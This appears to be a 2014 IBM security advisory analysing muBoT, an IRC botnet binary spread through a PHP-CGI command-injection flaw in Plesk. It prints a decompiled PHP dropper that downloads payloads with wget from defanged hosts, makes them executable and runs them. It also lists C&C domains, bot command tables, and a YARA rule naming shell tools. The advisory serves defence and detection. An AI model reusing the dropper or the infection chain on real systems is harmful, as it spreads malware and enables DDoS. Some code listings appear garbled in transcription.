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EXECUTIVE OVERVIEW/KEY FINDINGS

IBM has previously reported on a rash of PHP attacks which attempt to exploit Plesk, a commercial web hosting application. Past attacks were designed to compromise the host, setup an IRC client, and then connect out to command and control hosts in order to execute distributed denial of service attacks. On July 15 2014, IBM began tracking a new variant on this attack. Unlike before, where we witnessed the pushing of Perl scripts primarily comprised of the PHP exploit, we are now seeing a series of ELF binary files in both 64 and 32 bit flavors. Upon further analysis of these binary files we found what we would normally see in original Perl scripts; configuration information on connecting to malicious IRC servers. Contained alongside of the DDoS instructions is also a PHP exploitation tool and the IRC component which has been blended with an SSH Brute Force based "spreader".

The attack pattern we are tracking first contains a Command Injection string that attempts to exploit this vulnerability via PHP. If the attack is successful, the victim host is then directed to WGET an instruction that contains code to set up the IRC connection (bot). The binary files are being served from image file hosts located in Germany. This occurs upon a redirection of the initial connection. These files are disguised as JPG images.


On July 21, 2014, the MuBoT traffic has changed domain names as we suspected it would. The traffic level however remains high and MSS will continue to monitor this traffic vigilantly.

SITUATION/WHAT HAPPENED

Starting on July 15 2014, IBM Managed Security Services witnessed a global uptick in the Proventia signature, "Shell_Command_Injection". This signature is designed to detect the usage of shell commands over HTTP. Contained within the raw data fields of the signature details was a Unix instruction to exploit a vulnerable Plesk instance pointing to the PHP configuration (path=/cgi-bin/php). Due to the risk to the IBM MSS customer base, the Threat Response Team was activated to address the situation.

WHO IS USING THIS ATTACK?

The attempted attacks are sourcing from over 330 unique distributed sources not specific to any geography and MSS has no prior record of these IP's being malicious. Together they have generated over 43,000 individual security events, 7500 escalated Security Incidents, and crossed 19 industries. They seem to be focused primarily on the Finance and Insurance and Info and Communications industries. This significant increase in attack activity could indicate these IP's have been recently compromised and are being used as a launch platform for the attacks.



TECHNICAL ANALYSIS

One of the more interesting aspects of this attack is the payload, and not because of its capability. The malware itself is a compiled ELF 64-bit Linux binary (index.html: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped). It's a rare occasion when we see ELF binaries as a result of an injection attack across so many customers. More often we will see a malicious perl script or PHP script. This however is a very specific piece of malware potentially limiting the target audience. Compiling it as a 64-bit binary might have been a result of an unintentional mistake as the developers machine was a debian based 64-bit PC. Subsequent samples we've witnessed have been 32-bit (ELF 32-bit LSB

executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped) allowing it to run on more platforms.

This malware is a combination of an IRC bot and an automated PHP exploitation tool that self identifies as "muBoT 5.1FiX-64bit Helel mod 1.0 - Ezba' Elohim + muBoT Apache PHP Exploit". It is largely based on publicly available source code from a group called "BoSSaLiNiE" - for example, the IRC bot component has been integrated with an SSH brute force based 'spreader': hxxp://pastebin[.]com/pbnFfUNX. The PHP exploitation component appears to be private, and will likely exploit misconfigured PHP 5.x components such as PHPMyAdmin, and then download malicious PHP code from "hxxp://jappyupdate[.]servehttp[.]com/index[.]html" or

Command and control for this malware occurs over IRC and will use the domains "ich-hab[.]sytes[.]net", "mummuu[.]proxy8080[.]com" or "mumumu[.]duckdns[.]org" on port 6667. In addition to the IRC C&C and PHP infection capabilities, the bot may be commanded to participate in Distributed Denial of Service (DDoS) activities and scan for potentially vulnerable hosts.

"hxxp://linuxupdatejappy[.]servepics[.]com/index[.]htm".

An initial assessment would be that this is a low-grade, commodity malware that is likely not specifically targeted at the victim organization. There are not any links to adversaries we currently track, and given the shared nature of the base source code, this malware may be available to a large number of actors who may use it in conjunction with criminal activities or non-targeted exploitation.

Below is a sample of the decompiled code used within the malware. It possesses the capability to download new malware and update its own codebase. However, the URL's are hardcoded into the malware which drastically limits their ability to remain persistent without having to update the codebase with all the infected machines.

```
LOAD:0000000000407960
                                 a?phpTmpSys get db '<?php',0Ah
                                                                     ; DATA XREF: sub_404543+460
                                 db '$tmp = sys_get_temp_dir();',0Ah
LOAD:0000000000407960
                                 db '$path = getcwd();',0Ah
LOAD:0000000000407960
                                 db '$file = "index.html";',0Ah
LOAD:0000000000407960
LOAD:0000000000407960
                                 db '$url = "hxxp://jappyupdate[.]servehttp[.]com";',0Ah
                                 db 'system("wget $url -P - -O" . $tmp . "/index.html");',0Ah
LOAD:0000000000407960
LOAD:0000000000407960
                                 db 'system("chmod -R 777" . $tmp ."/index.html");',0Ah
                                 db 'chmod ($tmp."/".$file,0777);',0Ah
LOAD:0000000000407960
                                 db 'system($tmp . "/index.html");',0Ah
LOAD:0000000000407960
                                 db '$file2 = "index.htm";',0Ah
LOAD:0000000000407960
LOAD:0000000000407960
                                 db '$url2 = "hxxp://linuxupdatejappy[.]servepics[.]com";',0Ah
LOAD:0000000000407960
                                 db 'system("wget $url2 -P - -O" . $tmp . "/index.htm");',0Ah
                                 db 'system("chmod -R 777" . $tmp ."/index.htm");',0Ah
LOAD:0000000000407960
                                 db 'chmod ($tmp."/".$file2,0777);',0Ah
LOAD:0000000000407960
```

```
LOAD:0000000000407960 db 'system($tmp . "/index.htm");',0Ah LOAD:000000000407960 db 'echo $tmp;',0Ah LOAD:000000000407960 db 'echo $path;',0Ah LOAD:000000000407960 db 'die($tmp);',0Ah LOAD:000000000407960 db 'die($tmp);',0Ah LOAD:0000000000407960 db '?>',0
```

The User-Agent associated with the malware is unique, allowing inline detection methods within your network to easily detect or block the traffic.

This is some of the malwares capability to scan/attack targets and also connect to a IRC based command and control.

Some of the rudimentary DDoS capability, with enough infected machines and enough bandwidth, can be effective in taking down hosts.

Below is some of the IRC functionality as well as an "about" command that allows the attackers to identify themselves. Some of the samples we've retrieved they take full advantage of this feature.

```
LOAD:00000000006094A8
                               dq offset sub 40294C
LOAD:00000000006094B0
                               dq offset gword 4083E0
                               dq offset sub 402663
LOAD:00000000006094B8
                               dq offset gword 4083E0+4
LOAD:00000000006094C0
                               dq offset sub 404256
LOAD:00000000006094C8
                               dq offset off 4083E8+4
LOAD:00000000006094D0
                               dq offset sub 40566F
LOAD:00000000006094D8
LOAD:00000000006094E0
                               dg offset aNick
                                                ; "NICK"
LOAD:00000000006094E8
                               dq offset sub 40584B
LOAD:00000000006094F0
                               dq offset aServer
                                               ; "SERVER"
                               dq offset sub 4058D5
LOAD:00000000006094F8
                               dq offset aGetspoofs ; "GETSPOOFS"
LOAD:0000000000609500
LOAD:0000000000609508
                               dq offset sub 4043F9
                                                ; "SPOOFS"
                               dg offset aSpoofs
LOAD:0000000000609510
LOAD:0000000000609518
                               dq offset sub 4023CF
                               dq offset off 40840D
LOAD:0000000000609520
                               dq offset sub 401F86
LOAD:0000000000609528
```

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```
LOAD:0000000000609530
                               dg offset aVersion
                                                 ; "VERSION"
LOAD:0000000000609538
                               dq offset sub 405813
                               dg offset aKillall ; "KILLALL"
LOAD:0000000000609540
                               dq offset sub 405943
LOAD:0000000000609548
LOAD:0000000000609550
                               dq offset aHelp
                               dq offset help
LOAD:0000000000609558
                               dq offset a******
LOAD:0000000000609560
                               dq offset sub 40578B
LOAD:0000000000609568
```

Below is some of the PHP scanning and exploitation mechanisms allowing an infected bot to further spread the malware increasing the size of the botnet. The attacks are PHP 5.x based that allows remote file inclusion and remote code execution.

```
LOAD:0000000000609570
                               dq offset aScanrndape ; "SCANRNDAPE"
                               dq offset loc 404974
LOAD:0000000000609578
                               dq offset aScansubape ; "SCANSUBAPE"
LOAD:0000000000609580
                               dq offset sub 404CF2
LOAD:0000000000609588
                               dq offset aScansubapeb; "SCANSUBAPEB"
LOAD:0000000000609590
                               dq offset sub 404F75
LOAD:0000000000609598
                               dq offset aScansubapec; "SCANSUBAPEC"
LOAD:00000000006095A0
                               dq offset sub 4051D1
LOAD:00000000006095A8
LOAD:00000000006095B0
                               dq offset aMove
                                                 ; "MOVE"
LOAD:00000000006095B8
                               dq offset sub 4058D5
LOAD:00000000006095C0
                               dq 4 dup(0)
                               dq offset a352
LOAD:00000000006095E0
                                                ; "352"
                               dq offset sub 406011
LOAD:00000000006095E8
LOAD:00000000006095F0
                               dq offset a376
                                                ; "376"
                               dq offset sub 405F77
LOAD:00000000006095F8
LOAD:0000000000609600
                               dq offset a433
                                                ; "433"
                               dq offset sub 406275
LOAD:0000000000609608
                               dq offset a422
LOAD:0000000000609610
                                                ; "422"
                               dq offset sub 405F77
LOAD:0000000000609618
LOAD:0000000000609620
                               dg offset aPrivmsg ; "PRIVMSG"
LOAD:0000000000609628
                               dq offset sub 405A0C
LOAD:0000000000609630
                               dq offset aPing
                                               ; "PING"
                               dq offset sub 405FE4
LOAD:0000000000609638
                               dq offset aNick
LOAD:0000000000609640
                                                ; "NICK"
LOAD:0000000000609648
                               dq offset sub 4062AA
```

Much of this malware appears to be "off the shelf" scripts compiled into a single tool. However, that does not discredit its effectiveness. Many more advanced attackers utilize similar techniques.

RECOMMENDATIONS/MITIGATION TECHNIQUES

Where possible, we recommend that customers immediately enable the signatures listed below for blocking and analyzing any events generated by them. In addition, ensure that any related security patches and anti-virus solutions are up-to-date. These signatures may not be enabled by default.

IDPS SIGNATURES AND/OR SIEM RULES

AKAMAI

PHP Code Injection
PHP Code Injection Using Data Stream Wrapper
System Command Access
System Command Injection
System Command Injection (Unix File Leakage)
System Command Injection (Unix)

CHECKPOINT

PHF CGI Program Remote Command Execution PHP print Remote Shell Command Execution

CISCO IDS

5638 PHP Command Injection

PROVENTIA

Shell_Command_Injection

YARA RULE:

```
rule web shell attribute detection
strings:
$a = "$cmd"
$b = "cmd.exe"
c = cmd
$d = "command"
$e = "base64"
f = mkdir
$g = "passthru"
h = \text{``exec''}
$i = "shell exec"
i = "dir"
$k = "ls"
1 = "wget"
Condition:
any of them
```

ADDITIONAL RECOMMENDATIONS

A weakness in Parallels Plesk Panel has been identified as a primary entry point. This is a critical vulnerability affecting software that contains PHP-CGI (CVE-2012-1823).

Affected versions:

Plesk Panel for Linux 9.0 – 9.2.3. http://kb.parallels.com/en/113818

PHP all versions before 5.3.12 and from 5.4.x before 5.4.2 which do not properly handle PHP-CGI query strings. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823

We recommend upgrading to non-vulnerable versions of Parallels Plesk Panel and PHP if able. If not, assure that accurate security measures are taken to protect these environments.

REFERENCES

http://www.crowdstrike.com

http://kb.parallels.com/en/113818

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823

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DISCLAIMER

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